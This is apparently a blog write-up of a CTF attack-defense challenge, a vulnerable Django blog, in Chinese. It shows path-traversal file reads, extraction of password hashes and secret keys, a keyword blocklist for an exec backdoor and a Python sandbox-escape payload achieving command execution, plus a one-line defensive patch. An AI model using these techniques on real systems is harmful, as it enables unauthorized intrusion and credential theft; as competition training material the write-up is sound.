2025 CISCN x CCB 半决赛 WP

# AWDP

# Django-Blog

一个Django框架的Blog

Python 版本2.7.17

DJANGO 版本1.8.4

http://10.10.1.100:114514/detail_show/banner

detail_show 目录回退 + 任意文件读取

下载SQLITE数据库

/home/ctf/db.sqlite3

1
2
3
curl http://10.10.1.100:114514/detail_show/db.sqlite3 > CCB.db 
sqlite3 CCB.db
Select * from auth_user;   

拿到如下Hash,拿去HashCat跑下字典能出密码为goldfish

1
2
1|pbkdf2_sha256$20000$m75uXPxpjnBe$9m1bkR0m/htBIIrZWXjpVJTtcQwrWnV3toc8vTtEYKg=|1|test|||test@gmail.com|1|1|2025-02-06 02:31:00|2025-02-08 04:48:44.864708
2|pbkdf2_sha256$20000$2kPOdwUyDkPH$zKM3be0X6LPaT7GL6jGc5scWlrwQrjBfgw+EnAqv9hU=|1|allan|||allan@gmail.com|1|1|2025-02-07 05:06:00|2025-03-16 01:23:02.550102 

可以用 allan 账户登录登录后台

有一个代码模块,审计前端代码可以看到当按下 Ctrl Enter 发POST请求到后端执行代码

/admin/bootstrap_admin_web/execute/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script>
    var editor = CodeMirror.fromTextArea(document.getElementById('id_source'), {
        mode: {
            name: "python",
            version: 2,
            singleLineStringErrors: false
        },
        lineNumbers: true,
        indentUnit: 4,
        tabMode: "shift",
        matchBrackets: true,
        extraKeys: {
            "Cmd-Enter": function(instance) {
                executeSource();
                return false;
            },
            "Ctrl-Enter": function(instance) {
                executeSource();
                return false;
            }
        }
    });

    if (navigator.platform.search('MacIntel') >=0) {
        django.jQuery('#id_execute').text('Execute (Cmd+Enter)');
    }

    var webshellEditor = django.jQuery('#id_output'),
        csrf_token = django.jQuery('input[name="csrfmiddlewaretoken"]').val();

    function executeSource(){
       webshellEditor.text('Executing...');
        django.jQuery.post('/admin/bootstrap_admin_web/execute/',
            {'source': editor.getValue(), 'csrfmiddlewaretoken': csrf_token},
            function(response){
                webshellEditor.text(response);
                hljs.highlightBlock(webshellEditor.get(0));
            }
        );
    }
</script>

执行代码提示需要 magic_key 才能执行

因为开了debug模式

随便让页面报错,可以知道项目名为 myblog

DJANGO 结构又有 settings.pyc

继续任意文件下载 /myblog/settings.pyc

反编译pyc 拿到Key

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Embedded file name: django-blog\myblog\settings.py
# Compiled at: 2025-02-20 16:17:14
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
SECRET_KEY = '-4h^=1iym8*i10$%zt^@^lv02hk4-jzq5ucspu$2czf71175c8'
MAGIC_KEY = 't3sec2025'
DEBUG = True
ALLOWED_HOSTS = [
 '*']
INSTALLED_APPS = ('bootstrap_admin', 'bootstrap_admin_web', 'django.contrib.admin',
                  'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions',
                  'django.contrib.messages', 'django.contrib.staticfiles', 'article')
BOOTSTRAP_ADMIN_SIDEBAR_MENU = True
MIDDLEWARE_CLASSES = ('django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware',
                      'django.contrib.auth.middleware.AuthenticationMiddleware',
                      'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
                      'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware',
                      'django.middleware.security.SecurityMiddleware')
ROOT_URLCONF = 'myblog.urls'
TEMPLATES = [
 {'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'DIRS': [
           os.path.join(BASE_DIR, 'templates')],
    'APP_DIRS': True,
    'OPTIONS': {'context_processors': [
                                     27,
                                     28,
                                     29,
                                     30,
                                     31,
                                     32]}}]
WSGI_APPLICATION = 'myblog.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3',
               'NAME': (os.path.join(BASE_DIR, 'db.sqlite3'))}}
LANGUAGE_CODE = 'zh-Hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
STATICFILES_DIRS = (
 os.path.join(BASE_DIR, 'static'),)

# okay decompiling .\settings.pyc

拿去执行,发现有过滤,Python2 不吃Unicode绕过,但让代码报错可以看到文件路径

继续任意文件下载获取源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#coding: utf-8
import sys
import traceback
from contextlib import contextmanager
try:
    from StringIO import StringIO
except ImportError:
    from io import StringIO
from django.http import HttpResponse
from django.views.decorators.http import require_POST
from django.contrib.auth.decorators import permission_required
from. lib import sandbox_exec 

@contextmanager
def catch_stdout(buff):
    stdout = sys.stdout
    sys.stdout = buff
    yield
    sys.stdout = stdout


@require_POST
@permission_required('is_superuser')
def execute_script_view(request):
    buff = StringIO()
    back_door = request.POST.get('magic_key', default='')
    if back_door == "t3sec2025":
        try:
            buff.write(sandbox_exec(request.POST.get('source', '')))
        except:
            traceback.print_exc(file=buff)
    else:
        buff.write("这是一个高级功能,只有携带magic_key才能执行命令。")
    return HttpResponse(buff.getvalue())

可以看到 有以下过滤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import sys

output = ""


# hook print for easy game
class redirect:
    content = ""

    def write(self, content):
        global output
        output = ""
        self.content += content
        output = self.content

    def flush(self):
        self.content = ""


def _sandbox_filter(command):
    blacklist = [
        'object',
        'exec',
        'sh',
        '__getitem__',
        '__setitem__',
        'import',
        '=',
        'open',
        'read',
        'sys',
        ';',
        'os',
        'tcp',
        '`',
        '&',
        'base64',
        'flag',
        'eval'
    ]
    for forbid in blacklist:
        if forbid in command:
            return forbid
    return ""


def sandbox_exec(command):
    global output
    output = ""
    result = ""
    sys.stdout = redirect()
    flag = _sandbox_filter(command)
    if flag:
        result = "Found {}".format(flag)
        result += '<br>REDACTED'
    else:
        exec(command)
    if result == "":
        result = output
    return result

# 防御

/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py 里硬编码

if back_door == “t3sec2025”

所以 update.sh 这样写就能防御通过

1
2
3
#!/bin/bash

sed -i s#t3sec2025#s1eeps0rt#g /usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py

# 攻击

1
__builtins__['__imp'+'ort__']('commands').getoutput('ls />/tmp/a')

使用 builtins

字符串拼接 import 使用dict 绕过

导入 commands 模块

使用 commands.getoutput() 函数来RCE

可以用重定向堆叠的方式绕过 sh , 之类的过滤将执行结果写入文件

结合任意文件读取实现命令执行回显

然后AWDP赛中的时候平台Checker 炸了,队友的Pwn Check 一次能卡半个小时,交不上去,直到结束也没能成功

赛方画饼公告说正在研究解决方案,当然大家都知道也不可能有啥解决方案。

下午渗透和队友们嗯造出了几台靶机最后也没进决赛,喜提一个二等安慰奖。

从来没觉得打CTF开心过 收收心回家摊鸡蛋灌饼了。

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy